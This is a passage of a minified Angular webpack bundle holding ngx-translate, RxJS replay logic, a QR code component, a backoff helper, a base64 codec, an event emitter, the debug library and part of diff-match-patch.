it;if(this.closed)throw new se.N;if(this.isStopped||this.hasError?it=U.w.EMPTY:(this.observers.push(m),it=new ee.W(this,m)),ie&&m.add(m=new k(m,ie)),b)for(let wt=0;wt<Xe&&!m.closed;wt++)m.next(B[wt]);else for(let wt=0;wt<Xe&&!m.closed;wt++)m.next(B[wt].value);return this.hasError?m.error(this.thrownError):this.isStopped&&m.complete(),it}_getNow(){return(this.scheduler||j).now()}_trimBufferThenGetEvents(){const m=this._getNow(),b=this._bufferSize,B=this._windowTime,ie=this._events,Xe=ie.length;let it=0;for(;it<Xe&&!(m-ie[it].time<B);)it++;return Xe>b&&(it=Math.max(it,Xe-b)),it>0&&ie.splice(0,it),ie}}class we{constructor(m,b){this.time=m,this.value=b}}function ce(x,m,b){let B;return B=x&&"object"==typeof x?x:{bufferSize:x,windowTime:m,refCount:!1,scheduler:b},ie=>ie.lift(function je({bufferSize:x=Number.POSITIVE_INFINITY,windowTime:m=Number.POSITIVE_INFINITY,refCount:b,scheduler:B}){let ie,it,Xe=0,wt=!1,Vt=!1;return function(qt){let u1;Xe++,!ie||wt?(wt=!1,ie=new q(x,m,B),u1=ie.subscribe(this),it=qt.subscribe({next(c1){ie.next(c1)},error(c1){wt=!0,ie.error(c1)},complete(){Vt=!0,it=void 0,ie.complete()}})):u1=ie.subscribe(this),this.add(()=>{Xe--,u1.unsubscribe(),it&&!Vt&&b&&0===Xe&&(it.unsubscribe(),it=void 0,ie=void 0)})}}(B))}var Ze=d(4850),le=d(1406),Oe=d(7545);class Qe{}let Ye=(()=>{class x extends Qe{getTranslation(b){return(0,a.of)({})}}return x.\\u0275fac=function(){let m;return function(B){return(m||(m=n.n5z(x)))(B||x)}}(),x.\\u0275prov=n.Yz7({token:x,factory:x.\\u0275fac}),x})();class Ke{}let dt=(()=>{class x{handle(b){return b.key}}return x.\\u0275fac=function(b){return new(b||x)},x.\\u0275prov=n.Yz7({token:x,factory:x.\\u0275fac}),x})();function bt(x,m){if(x===m)return!0;if(null===x||null===m)return!1;if(x!=x&&m!=m)return!0;let ie,Xe,it,b=typeof x;if(b==typeof m&&"object"==b){if(!Array.isArray(x)){if(Array.isArray(m))return!1;for(Xe in it=Object.create(null),x){if(!bt(x[Xe],m[Xe]))return!1;it[Xe]=!0}for(Xe in m)if(!(Xe in it)&&typeof m[Xe]<"u")return!1;return!0}if(!Array.isArray(m))return!1;if((ie=x.length)==m.length){for(Xe=0;Xe<ie;Xe++)if(!bt(x[Xe],m[Xe]))return!1;return!0}}return!1}function ze(x){return typeof x<"u"&&null!==x}function De(x){return x&&"object"==typeof x&&!Array.isArray(x)}function re(x,m){let b=Object.assign({},x);return De(x)&&De(m)&&Object.keys(m).forEach(B=>{De(m[B])?B in x?b[B]=re(x[B],m[B]):Object.assign(b,{[B]:m[B]}):Object.assign(b,{[B]:m[B]})}),b}class ve{}let We=(()=>{class x extends ve{constructor(){super(...arguments),this.templateMatcher=/{{\\s?([^{}\\s]*)\\s?}}/g}interpolate(b,B){let ie;return ie="string"==typeof b?this.interpolateString(b,B):"function"==typeof b?this.interpolateFunction(b,B):b,ie}getValue(b,B){let ie="string"==typeof B?B.split("."):[B];B="";do{B+=ie.shift(),!ze(b)||!ze(b[B])||"object"!=typeof b[B]&&ie.length?ie.length?B+=".":b=void 0:(b=b[B],B="")}while(ie.length);return b}interpolateFunction(b,B){return b(B)}interpolateString(b,B){return B?b.replace(this.templateMatcher,(ie,Xe)=>{let it=this.getValue(B,Xe);return ze(it)?it:ie}):b}}return x.\\u0275fac=function(){let m;return function(B){return(m||(m=n.n5z(x)))(B||x)}}(),x.\\u0275prov=n.Yz7({token:x,factory:x.\\u0275fac}),x})();class xt{}let Be=(()=>{class x extends xt{compile(b,B){return b}compileTranslations(b,B){return b}}return x.\\u0275fac=function(){let m;return function(B){return(m||(m=n.n5z(x)))(B||x)}}(),x.\\u0275prov=n.Yz7({token:x,factory:x.\\u0275fac}),x})();class pe{constructor(){this.currentLang=this.defaultLang,this.translations={},this.langs=[],this.onTranslationChange=new n.vpe,this.onLangChange=new n.vpe,this.onDefaultLangChange=new n.vpe}}const P=new n.OlP("USE_STORE"),w=new n.OlP("USE_DEFAULT_LANG"),R=new n.OlP("DEFAULT_LANGUAGE"),X=new n.OlP("USE_EXTEND");let Et=(()=>{class x{constructor(b,B,ie,Xe,it,wt=!0,Vt=!1,Gt=!1,qt){this.store=b,this.currentLoader=B,this.compiler=ie,this.parser=Xe,this.missingTranslationHandler=it,this.useDefaultLang=wt,this.isolate=Vt,this.extend=Gt,this.pending=!1,this._onTranslationChange=new n.vpe,this._onLangChange=new n.vpe,this._onDefaultLangChange=new n.vpe,this._langs=[],this._translations={},this._translationRequests={},qt&&this.setDefaultLang(qt)}get onTranslationChange(){return this.isolate?this._onTranslationChange:this.store.onTranslationChange}get onLangChange(){return this.isolate?this._onLangChange:this.store.onLangChange}get onDefaultLangChange(){return this.isolate?this._onDefaultLangChange:this.store.onDefaultLangChange}get defaultLang(){return this.isolate?this._defaultLang:this.store.defaultLang}set defaultLang(b){this.isolate?this._defaultLang=b:this.store.defaultLang=b}get currentLang(){return this.isolate?this._currentLang:this.store.currentLang}set currentLang(b){this.isolate?this._currentLang=b:this.store.currentLang=b}get langs(){return this.isolate?this._langs:this.store.langs}set langs(b){this.isolate?this._langs=b:this.store.langs=b}get translations(){return this.isolate?this._translations:this.store.translations}set translations(b){this.isolate?this._translations=b:this.store.translations=b}setDefaultLang(b){if(b===this.defaultLang)return;let B=this.retrieveTranslations(b);typeof B<"u"?(null==this.defaultLang&&(this.defaultLang=b),B.pipe((0,E.q)(1)).subscribe(ie=>{this.changeDefaultLang(b)})):this.changeDefaultLang(b)}getDefaultLang(){return this.defaultLang}use(b){if(b===this.currentLang)return(0,a.of)(this.translations[b]);let B=this.retrieveTranslations(b);return typeof B<"u"?(this.currentLang||(this.currentLang=b),B.pipe((0,E.q)(1)).subscribe(ie=>{this.changeLang(b)}),B):(this.changeLang(b),(0,a.of)(this.translations[b]))}retrieveTranslations(b){let B;return(typeof this.translations[b]>"u"||this.extend)&&(this._translationRequests[b]=this._translationRequests[b]||this.getTranslation(b),B=this._translationRequests[b]),B}getTranslation(b){this.pending=!0;const B=this.currentLoader.getTranslation(b).pipe(ce(1),(0,E.q)(1));return this.loadingTranslations=B.pipe((0,Ze.U)(ie=>this.compiler.compileTranslations(ie,b)),ce(1),(0,E.q)(1)),this.loadingTranslations.subscribe({next:ie=>{this.translations[b]=this.extend&&this.translations[b]?Object.assign(Object.assign({},ie),this.translations[b]):ie,this.updateLangs(),this.pending=!1},error:ie=>{this.pending=!1}}),B}setTranslation(b,B,ie=!1){B=this.compiler.compileTranslations(B,b),this.translations[b]=(ie||this.extend)&&this.translations[b]?re(this.translations[b],B):B,this.updateLangs(),this.onTranslationChange.emit({lang:b,translations:this.translations[b]})}getLangs(){return this.langs}addLangs(b){b.forEach(B=>{-1===this.langs.indexOf(B)&&this.langs.push(B)})}updateLangs(){this.addLangs(Object.keys(this.translations))}getParsedResult(b,B,ie){let Xe;if(B instanceof Array){let it={},wt=!1;for(let Vt of B)it[Vt]=this.getParsedResult(b,Vt,ie),(0,s.b)(it[Vt])&&(wt=!0);if(wt){const Vt=B.map(Gt=>(0,s.b)(it[Gt])?it[Gt]:(0,a.of)(it[Gt]));return(0,u.D)(Vt).pipe((0,Ze.U)(Gt=>{let qt={};return Gt.forEach((u1,c1)=>{qt[B[c1]]=u1}),qt}))}return it}if(b&&(Xe=this.parser.interpolate(this.parser.getValue(b,B),ie)),typeof Xe>"u"&&null!=this.defaultLang&&this.defaultLang!==this.currentLang&&this.useDefaultLang&&(Xe=this.parser.interpolate(this.parser.getValue(this.translations[this.defaultLang],B),ie)),typeof Xe>"u"){let it={key:B,translateService:this};typeof ie<"u"&&(it.interpolateParams=ie),Xe=this.missingTranslationHandler.handle(it)}return typeof Xe<"u"?Xe:B}get(b,B){if(!ze(b)||!b.length)throw new Error(\'Parameter "key" required\');if(this.pending)return this.loadingTranslations.pipe((0,le.b)(ie=>(ie=this.getParsedResult(ie,b,B),(0,s.b)(ie)?ie:(0,a.of)(ie))));{let ie=this.getParsedResult(this.translations[this.currentLang],b,B);return(0,s.b)(ie)?ie:(0,a.of)(ie)}}getStreamOnTranslationChange(b,B){if(!ze(b)||!b.length)throw new Error(\'Parameter "key" required\');return(0,c.z)((0,f.P)(()=>this.get(b,B)),this.onTranslationChange.pipe((0,Oe.w)(ie=>{const Xe=this.getParsedResult(ie.translations,b,B);return"function"==typeof Xe.subscribe?Xe:(0,a.of)(Xe)})))}stream(b,B){if(!ze(b)||!b.length)throw new Error(\'Parameter "key" required\');return(0,c.z)((0,f.P)(()=>this.get(b,B)),this.onLangChange.pipe((0,Oe.w)(ie=>{const Xe=this.getParsedResult(ie.translations,b,B);return(0,s.b)(Xe)?Xe:(0,a.of)(Xe)})))}instant(b,B){if(!ze(b)||!b.length)throw new Error(\'Parameter "key" required\');let ie=this.getParsedResult(this.translations[this.currentLang],b,B);if((0,s.b)(ie)){if(b instanceof Array){let Xe={};return b.forEach((it,wt)=>{Xe[b[wt]]=b[wt]}),Xe}return b}return ie}set(b,B,ie=this.currentLang){this.translations[ie][b]=this.compiler.compile(B,ie),this.updateLangs(),this.onTranslationChange.emit({lang:ie,translations:this.translations[ie]})}changeLang(b){this.currentLang=b,this.onLangChange.emit({lang:b,translations:this.translations[b]}),null==this.defaultLang&&this.changeDefaultLang(b)}changeDefaultLang(b){this.defaultLang=b,this.onDefaultLangChange.emit({lang:b,translations:this.translations[b]})}reloadLang(b){return this.resetLang(b),this.getTranslation(b)}resetLang(b){this._translationRequests[b]=void 0,this.translations[b]=void 0}getBrowserLang(){if(typeof window>"u"||typeof window.navigator>"u")return;let b=window.navigator.languages?window.navigator.languages[0]:null;return b=b||window.navigator.language||window.navigator.browserLanguage||window.navigator.userLanguage,typeof b>"u"?void 0:(-1!==b.indexOf("-")&&(b=b.split("-")[0]),-1!==b.indexOf("_")&&(b=b.split("_")[0]),b)}getBrowserCultureLang(){if(typeof window>"u"||typeof window.navigator>"u")return;let b=window.navigator.languages?window.navigator.languages[0]:null;return b=b||window.navigator.language||window.navigator.browserLanguage||window.navigator.userLanguage,b}}return x.\\u0275fac=function(b){return new(b||x)(n.LFG(pe),n.LFG(Qe),n.LFG(xt),n.LFG(ve),n.LFG(Ke),n.LFG(w),n.LFG(P),n.LFG(X),n.LFG(R))},x.\\u0275prov=n.Yz7({token:x,factory:x.\\u0275fac}),x})(),Dt=(()=>{class x{constructor(b,B,ie){this.translateService=b,this.element=B,this._ref=ie,this.onTranslationChangeSub||(this.onTranslationChangeSub=this.translateService.onTranslationChange.subscribe(Xe=>{Xe.lang===this.translateService.currentLang&&this.checkNodes(!0,Xe.translations)})),this.onLangChangeSub||(this.onLangChangeSub=this.translateService.onLangChange.subscribe(Xe=>{this.checkNodes(!0,Xe.translations)})),this.onDefaultLangChangeSub||(this.onDefaultLangChangeSub=this.translateService.onDefaultLangChange.subscribe(Xe=>{this.checkNodes(!0)}))}set translate(b){b&&(this.key=b,this.checkNodes())}set translateParams(b){bt(this.currentParams,b)||(this.currentParams=b,this.checkNodes(!0))}ngAfterViewChecked(){this.checkNodes()}checkNodes(b=!1,B){let ie=this.element.nativeElement.childNodes;ie.length||(this.setContent(this.element.nativeElement,this.key),ie=this.element.nativeElement.childNodes);for(let Xe=0;Xe<ie.length;++Xe){let it=ie[Xe];if(3===it.nodeType){let wt;if(b&&(it.lastKey=null),ze(it.lookupKey))wt=it.lookupKey;else if(this.key)wt=this.key;else{let Vt=this.getContent(it),Gt=Vt.trim();Gt.length&&(it.lookupKey=Gt,Vt!==it.currentValue?(wt=Gt,it.originalContent=Vt||it.originalContent):it.originalContent?wt=it.originalContent.trim():Vt!==it.currentValue&&(wt=Gt,it.originalContent=Vt||it.originalContent))}this.updateValue(wt,it,B)}}}updateValue(b,B,ie){if(b){if(B.lastKey===b&&this.lastParams===this.currentParams)return;this.lastParams=this.currentParams;let Xe=it=>{it!==b&&(B.lastKey=b),B.originalContent||(B.originalContent=this.getContent(B)),B.currentValue=ze(it)?it:B.originalContent||b,this.setContent(B,this.key?B.currentValue:B.originalContent.replace(b,B.currentValue)),this._ref.markForCheck()};if(ze(ie)){let it=this.translateService.getParsedResult(ie,b,this.currentParams);(0,s.b)(it)?it.subscribe(Xe):Xe(it)}else this.translateService.get(b,this.currentParams).subscribe(Xe)}}getContent(b){return ze(b.textContent)?b.textContent:b.data}setContent(b,B){ze(b.textContent)?b.textContent=B:b.data=B}ngOnDestroy(){this.onLangChangeSub&&this.onLangChangeSub.unsubscribe(),this.onDefaultLangChangeSub&&this.onDefaultLangChangeSub.unsubscribe(),this.onTranslationChangeSub&&this.onTranslationChangeSub.unsubscribe()}}return x.\\u0275fac=function(b){return new(b||x)(n.Y36(Et),n.Y36(n.SBq),n.Y36(n.sBO))},x.\\u0275dir=n.lG2({type:x,selectors:[["","translate",""],["","ngx-translate",""]],inputs:{translate:"translate",translateParams:"translateParams"}}),x})(),Pt=(()=>{class x{constructor(b,B){this.translate=b,this._ref=B,this.value=""}updateValue(b,B,ie){let Xe=it=>{this.value=void 0!==it?it:b,this.lastKey=b,this._ref.markForCheck()};if(ie){let it=this.translate.getParsedResult(ie,b,B);(0,s.b)(it.subscribe)?it.subscribe(Xe):Xe(it)}this.translate.get(b,B).subscribe(Xe)}transform(b,...B){if(!b||!b.length)return b;if(bt(b,this.lastKey)&&bt(B,this.lastParams))return this.value;let ie;if(ze(B[0])&&B.length)if("string"==typeof B[0]&&B[0].length){let Xe=B[0].replace(/(\\\')?([a-zA-Z0-9_]+)(\\\')?(\\s)?:/g,\'"$2":\').replace(/:(\\s)?(\\\')(.*?)(\\\')/g,\':"$3"\');try{ie=JSON.parse(Xe)}catch{throw new SyntaxError(`Wrong parameter in TranslatePipe. Expected a valid Object, received: ${B[0]}`)}}else"object"==typeof B[0]&&!Array.isArray(B[0])&&(ie=B[0]);return this.lastKey=b,this.lastParams=B,this.updateValue(b,ie),this._dispose(),this.onTranslationChange||(this.onTranslationChange=this.translate.onTranslationChange.subscribe(Xe=>{this.lastKey&&Xe.lang===this.translate.currentLang&&(this.lastKey=null,this.updateValue(b,ie,Xe.translations))})),this.onLangChange||(this.onLangChange=this.translate.onLangChange.subscribe(Xe=>{this.lastKey&&(this.lastKey=null,this.updateValue(b,ie,Xe.translations))})),this.onDefaultLangChange||(this.onDefaultLangChange=this.translate.onDefaultLangChange.subscribe(()=>{this.lastKey&&(this.lastKey=null,this.updateValue(b,ie))})),this.value}_dispose(){typeof this.onTranslationChange<"u"&&(this.onTranslationChange.unsubscribe(),this.onTranslationChange=void 0),typeof this.onLangChange<"u"&&(this.onLangChange.unsubscribe(),this.onLangChange=void 0),typeof this.onDefaultLangChange<"u"&&(this.onDefaultLangChange.unsubscribe(),this.onDefaultLangChange=void 0)}ngOnDestroy(){this._dispose()}}return x.\\u0275fac=function(b){return new(b||x)(n.Y36(Et,16),n.Y36(n.sBO,16))},x.\\u0275pipe=n.Yjl({name:"translate",type:x,pure:!1}),x.\\u0275prov=n.Yz7({token:x,factory:x.\\u0275fac}),x})(),te=(()=>{class x{static forRoot(b={}){return{ngModule:x,providers:[b.loader||{provide:Qe,useClass:Ye},b.compiler||{provide:xt,useClass:Be},b.parser||{provide:ve,useClass:We},b.missingTranslationHandler||{provide:Ke,useClass:dt},pe,{provide:P,useValue:b.isolate},{provide:w,useValue:b.useDefaultLang},{provide:X,useValue:b.extend},{provide:R,useValue:b.defaultLanguage},Et]}}static forChild(b={}){return{ngModule:x,providers:[b.loader||{provide:Qe,useClass:Ye},b.compiler||{provide:xt,useClass:Be},b.parser||{provide:ve,useClass:We},b.missingTranslationHandler||{provide:Ke,useClass:dt},{provide:P,useValue:b.isolate},{provide:w,useValue:b.useDefaultLang},{provide:X,useValue:b.extend},{provide:R,useValue:b.defaultLanguage},Et]}}}return x.\\u0275fac=function(b){return new(b||x)},x.\\u0275mod=n.oAB({type:x}),x.\\u0275inj=n.cJS({}),x})()},2101:(At,ae,d)=>{"use strict";d.d(ae,{w:()=>n});class n{constructor(s,u="/assets/i18n/",c=".json"){this.http=s,this.prefix=u,this.suffix=c}getTranslation(s){return this.http.get(`${this.prefix}${s}${this.suffix}`)}}},3079:(At,ae,d)=>{"use strict";d.d(ae,{N:()=>c,V:()=>u});var n=d(4650),a=d(2516),s=d.n(a),u=function(){function f(E){this.elementRef=E,this.background="white",this.backgroundAlpha=1,this.foreground="black",this.foregroundAlpha=1,this.level="L",this.mime="image/png",this.padding=null,this.size=100,this.value="",this.canvas=!1}return f.prototype.ngOnChanges=function(E){("background"in E||"backgroundAlpha"in E||"foreground"in E||"foregroundAlpha"in E||"level"in E||"mime"in E||"padding"in E||"size"in E||"value"in E||"canvas"in E)&&this.generate()},f.prototype.generate=function(){try{var E=this.elementRef.nativeElement;E.innerHTML="";var _=new(s())({background:this.background,backgroundAlpha:this.backgroundAlpha,foreground:this.foreground,foregroundAlpha:this.foregroundAlpha,level:this.level,mime:this.mime,padding:this.padding,size:this.size,value:this.value});E.appendChild(this.canvas?_.canvas:_.image)}catch(S){console.error("Could not generate QR Code: "+S.message)}},f.\\u0275fac=function(_){return new(_||f)(n.Y36(n.SBq))},f.\\u0275cmp=n.Xpm({type:f,selectors:[["qr-code"]],inputs:{background:"background",backgroundAlpha:"backgroundAlpha",foreground:"foreground",foregroundAlpha:"foregroundAlpha",level:"level",mime:"mime",padding:"padding",size:"size",value:"value",canvas:"canvas"},features:[n.TTD],decls:0,vars:0,template:function(_,S){},encapsulation:2}),f}();u.ctorParameters=function(){return[{type:n.SBq}]},u.propDecorators={background:[{type:n.IIB}],backgroundAlpha:[{type:n.IIB}],foreground:[{type:n.IIB}],foregroundAlpha:[{type:n.IIB}],level:[{type:n.IIB}],mime:[{type:n.IIB}],padding:[{type:n.IIB}],size:[{type:n.IIB}],value:[{type:n.IIB}],canvas:[{type:n.IIB}]};var c=function(){function f(){}return f.\\u0275fac=function(_){return new(_||f)},f.\\u0275mod=n.oAB({type:f}),f.\\u0275inj=n.cJS({}),f}();c.ctorParameters=function(){return[]}},2150:At=>{function ae(d){this.ms=(d=d||{}).min||100,this.max=d.max||1e4,this.factor=d.factor||2,this.jitter=d.jitter>0&&d.jitter<=1?d.jitter:0,this.attempts=0}At.exports=ae,ae.prototype.duration=function(){var d=this.ms*Math.pow(this.factor,this.attempts++);if(this.jitter){var n=Math.random(),a=Math.floor(n*this.jitter*d);d=1&Math.floor(10*n)?d+a:d-a}return 0|Math.min(d,this.max)},ae.prototype.reset=function(){this.attempts=0},ae.prototype.setMin=function(d){this.ms=d},ae.prototype.setMax=function(d){this.max=d},ae.prototype.setJitter=function(d){this.jitter=d}},390:(At,ae)=>{!function(d){"use strict";ae.encode=function(n){var s,a=new Uint8Array(n),u=a.length,c="";for(s=0;s<u;s+=3)c+=d[a[s]>>2],c+=d[(3&a[s])<<4|a[s+1]>>4],c+=d[(15&a[s+1])<<2|a[s+2]>>6],c+=d[63&a[s+2]];return u%3==2?c=c.substring(0,c.length-1)+"=":u%3==1&&(c=c.substring(0,c.length-2)+"=="),c},ae.decode=function(n){var u,f,E,_,S,a=.75*n.length,s=n.length,c=0;"="===n[n.length-1]&&(a--,"="===n[n.length-2]&&a--);var g=new ArrayBuffer(a),C=new Uint8Array(g);for(u=0;u<s;u+=4)f=d.indexOf(n[u]),E=d.indexOf(n[u+1]),_=d.indexOf(n[u+2]),S=d.indexOf(n[u+3]),C[c++]=f<<2|E>>4,C[c++]=(15&E)<<4|_>>2,C[c++]=(3&_)<<6|63&S;return g}}("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")},1264:At=>{function ae(n){if(n)return function d(n){for(var a in ae.prototype)n[a]=ae.prototype[a];return n}(n)}At.exports=ae,ae.prototype.on=ae.prototype.addEventListener=function(n,a){return this._callbacks=this._callbacks||{},(this._callbacks["$"+n]=this._callbacks["$"+n]||[]).push(a),this},ae.prototype.once=function(n,a){function s(){this.off(n,s),a.apply(this,arguments)}return s.fn=a,this.on(n,s),this},ae.prototype.off=ae.prototype.removeListener=ae.prototype.removeAllListeners=ae.prototype.removeEventListener=function(n,a){if(this._callbacks=this._callbacks||{},0==arguments.length)return this._callbacks={},this;var s=this._callbacks["$"+n];if(!s)return this;if(1==arguments.length)return delete this._callbacks["$"+n],this;for(var u,c=0;c<s.length;c++)if((u=s[c])===a||u.fn===a){s.splice(c,1);break}return 0===s.length&&delete this._callbacks["$"+n],this},ae.prototype.emit=function(n){this._callbacks=this._callbacks||{};for(var a=new Array(arguments.length-1),s=this._callbacks["$"+n],u=1;u<arguments.length;u++)a[u-1]=arguments[u];if(s){u=0;for(var c=(s=s.slice(0)).length;u<c;++u)s[u].apply(this,a)}return this},ae.prototype.listeners=function(n){return this._callbacks=this._callbacks||{},this._callbacks["$"+n]||[]},ae.prototype.hasListeners=function(n){return!!this.listeners(n).length}},1455:(At,ae,d)=>{ae.formatArgs=function a(E){if(E[0]=(this.useColors?"%c":"")+this.namespace+(this.useColors?" %c":" ")+E[0]+(this.useColors?"%c ":" ")+"+"+At.exports.humanize(this.diff),!this.useColors)return;const _="color: "+this.color;E.splice(1,0,_,"color: inherit");let S=0,g=0;E[0].replace(/%[a-zA-Z%]/g,C=>{"%%"!==C&&(S++,"%c"===C&&(g=S))}),E.splice(g,0,_)},ae.save=function s(E){try{E?ae.storage.setItem("debug",E):ae.storage.removeItem("debug")}catch{}},ae.load=function u(){let E;try{E=ae.storage.getItem("debug")}catch{}return!E&&typeof process<"u"&&"env"in process&&(E=process.env.DEBUG),E},ae.useColors=function n(){return!(!(typeof window<"u"&&window.process)||"renderer"!==window.process.type&&!window.process.__nwjs)||!(typeof navigator<"u"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/(edge|trident)\\/(\\d+)/))&&(typeof document<"u"&&document.documentElement&&document.documentElement.style&&document.documentElement.style.WebkitAppearance||typeof window<"u"&&window.console&&(window.console.firebug||window.console.exception&&window.console.table)||typeof navigator<"u"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/firefox\\/(\\d+)/)&&parseInt(RegExp.$1,10)>=31||typeof navigator<"u"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/applewebkit\\/(\\d+)/))},ae.storage=function c(){try{return localStorage}catch{}}(),ae.destroy=(()=>{let E=!1;return()=>{E||(E=!0,console.warn("Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`."))}})(),ae.colors=["#0000CC","#0000FF","#0033CC","#0033FF","#0066CC","#0066FF","#0099CC","#0099FF","#00CC00","#00CC33","#00CC66","#00CC99","#00CCCC","#00CCFF","#3300CC","#3300FF","#3333CC","#3333FF","#3366CC","#3366FF","#3399CC","#3399FF","#33CC00","#33CC33","#33CC66","#33CC99","#33CCCC","#33CCFF","#6600CC","#6600FF","#6633CC","#6633FF","#66CC00","#66CC33","#9900CC","#9900FF","#9933CC","#9933FF","#99CC00","#99CC33","#CC0000","#CC0033","#CC0066","#CC0099","#CC00CC","#CC00FF","#CC3300","#CC3333","#CC3366","#CC3399","#CC33CC","#CC33FF","#CC6600","#CC6633","#CC9900","#CC9933","#CCCC00","#CCCC33","#FF0000","#FF0033","#FF0066","#FF0099","#FF00CC","#FF00FF","#FF3300","#FF3333","#FF3366","#FF3399","#FF33CC","#FF33FF","#FF6600","#FF6633","#FF9900","#FF9933","#FFCC00","#FFCC33"],ae.log=console.debug||console.log||(()=>{}),At.exports=d(3283)(ae);const{formatters:f}=At.exports;f.j=function(E){try{return JSON.stringify(E)}catch(_){return"[UnexpectedJSONParseError]: "+_.message}}},3283:(At,ae,d)=>{At.exports=function n(a){function u(z){let H,U,G,j=null;function Q(...oe){if(!Q.enabled)return;const Ce=Q,k=Number(new Date);Ce.diff=k-(H||k),Ce.prev=H,Ce.curr=k,H=k,oe[0]=u.coerce(oe[0]),"string"!=typeof oe[0]&&oe.unshift("%O");let se=0;oe[0]=oe[0].replace(/%([a-zA-Z%])/g,(q,we)=>{if("%%"===q)return"%";se++;const ce=u.formatters[we];return"function"==typeof ce&&(q=ce.call(Ce,oe[se]),oe.splice(se,1),se--),q}),u.formatArgs.call(Ce,oe),(Ce.log||u.log).apply(Ce,oe)}return Q.namespace=z,Q.useColors=u.useColors(),Q.color=u.selectColor(z),Q.extend=c,Q.destroy=u.destroy,Object.defineProperty(Q,"enabled",{enumerable:!0,configurable:!1,get:()=>null!==j?j:(U!==u.namespaces&&(U=u.namespaces,G=u.enabled(z)),G),set:oe=>{j=oe}}),"function"==typeof u.init&&u.init(Q),Q}function c(z,H){const j=u(this.namespace+(typeof H>"u"?":":H)+z);return j.log=this.log,j}function S(z){return z.toString().substring(2,z.toString().length-2).replace(/\\.\\*\\?$/,"*")}return u.debug=u,u.default=u,u.coerce=function g(z){return z instanceof Error?z.stack||z.message:z},u.disable=function E(){const z=[...u.names.map(S),...u.skips.map(S).map(H=>"-"+H)].join(",");return u.enable(""),z},u.enable=function f(z){let H;u.save(z),u.namespaces=z,u.names=[],u.skips=[];const j=("string"==typeof z?z:"").split(/[\\s,]+/),U=j.length;for(H=0;H<U;H++)j[H]&&("-"===(z=j[H].replace(/\\*/g,".*?"))[0]?u.skips.push(new RegExp("^"+z.slice(1)+"$")):u.names.push(new RegExp("^"+z+"$")))},u.enabled=function _(z){if("*"===z[z.length-1])return!0;let H,j;for(H=0,j=u.skips.length;H<j;H++)if(u.skips[H].test(z))return!1;for(H=0,j=u.names.length;H<j;H++)if(u.names[H].test(z))return!0;return!1},u.humanize=d(4366),u.destroy=function C(){console.warn("Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.")},Object.keys(a).forEach(z=>{u[z]=a[z]}),u.names=[],u.skips=[],u.formatters={},u.selectColor=function s(z){let H=0;for(let j=0;j<z.length;j++)H=(H<<5)-H+z.charCodeAt(j),H|=0;return u.colors[Math.abs(H)%u.colors.length]},u.enable(u.load()),u}},3969:At=>{var ae=function(){this.Diff_Timeout=1,this.Diff_EditCost=4,this.Match_Threshold=.5,this.Match_Distance=1e3,this.Patch_DeleteThreshold=.5,this.Patch_Margin=4,this.Match_MaxBits=32},d=-1;ae.Diff=function(s,u){return[s,u]},ae.prototype.diff_main=function(s,u,c,f){typeof f>"u"&&(f=this.Diff_Timeout<=0?Number.MAX_VALUE:(new Date).getTime()+1e3*this.Diff_Timeout);var E=f;if(null==s||null==u)throw new Error("Null input. (diff_main)");if(s==u)return s?[new ae.Diff(0,s)]:[];typeof c>"u"&&(c=!0);var _=c,S=this.diff_commonPrefix(s,u),g=s.substring(0,S);s=s.substring(S),u=u.substring(S),S=this.diff_commonSuffix(s,u);var C=s.substring(s.length-S);s=s.substring(0,s.length-S),u=u.substring(0,u.length-S);var z=this.diff_compute_(s,u,_,E);return g&&z.unshift(new ae.Diff(0,g)),C&&z.push(new ae.Diff(0,C)),this.diff_cleanupMerge(z),z},ae.prototype.diff_compute_=function(s,u,c,f){var E;if(!s)return[new ae.Diff(1,u)];if(!u)return[new ae.Diff(d,s)];var _=s.length>u.length?s:u,S=s.length>u.length?u:s,g=_.indexOf(S);if(-1!=g)return E=[new ae.Diff(1,_.substring(0,g)),new ae.Diff(0,S),new ae.Diff(1,_.substring(g+S.length))],s.length>u.length&&(E[0][0]=E[2][0]=d),E;if(1==S.length)return[new ae.Diff(d,s),new ae.Diff(1,u)];var C=this.diff_halfMatch_(s,u);if(C){var H=C[1],U=C[3],G=C[4],Q=this.diff_main(C[0],C[2],c,f),oe=this.diff_main(H,U,c,f);return Q.concat([new ae.Diff(0,G)],oe)}return c&&s.length>100&&u.length>100?this.diff_lineMode_(s,u,f):this.diff_bisect_(s,u,f)},ae.prototype.diff_lineMode_=function(s,u,c){var f=this.diff_linesToChars_(s,u),E=f.lineArray,_=this.diff_main(s=f.chars1,u=f.chars2,!1,c);this.diff_charsToLines_(_,E),this.diff_cleanupSemantic(_),_.push(new ae.Diff(0,""));for(var S=0,g=0,C=0,z="",H="";S<_.length;){switch(_[S][0]){case 1:C++,H+=_[S][1];break;case d:g++,z+=_[S][1];break;case 0:if(g>=1&&C>=1){_.splice(S-g-C,g+C),S=S-g-C;for(var j=this.diff_main(z,H,!1,c),U=j.length-1;U>=0;U--)_.splice(S,0,j[U]);S+=j.length}C=0,g=0,z="",H=""}S++}return _.pop(),_},ae.prototype.diff_bisect_=function(s,u,c){for(var f=s.length,E=u.length,_=Math.ceil((f+E)/2),S=_,g=2*_,C=new Array(g),z=new Array(g),H=0;H<g;H++)C[H]=-1,z[H]=-1;C[S+1]=0,z[S+1]=0;for(var j=f-E,U=j%2!=0,G=0,Q=0,oe=0,Ce=0,k=0;k<_&&!((new Date).getTime()>c);k++){for(var K=-k+G;K<=k-Q;K+=2){for(var se=S+K,q=(ee=K==-k||K!=k&&C[se-1]<C[se+1]?C[se+1]:C[se-1]+1)-K;ee<f&&q<E&&s.charAt(ee)==u.charAt(q);)ee++,q++;if(C[se]=ee,ee>f)Q+=2;else if(q>E)G+=2;else if(U&&(we=S+j-K)>=0&&we<g&&-1!=z[we]&&ee>=(ce=f-z[we]))return this.diff_bisectSplit_(s,u,ee,q,c)}for(var je=-k+oe;je<=k-Ce;je+=2){for(var ce,we=S+je,Ze=(ce=je==-k||je!=k&&z[we-1]<z[we+1]?z[we+1]:z[we-1]+1)-je;ce<f&&Ze<E&&s.charAt(f-ce-1)==u.charAt(E-Ze-1);)ce++,Ze++;if(z[we]=ce,ce>f)Ce+=2;else if(Ze>E)oe+=2;else if(!U){var 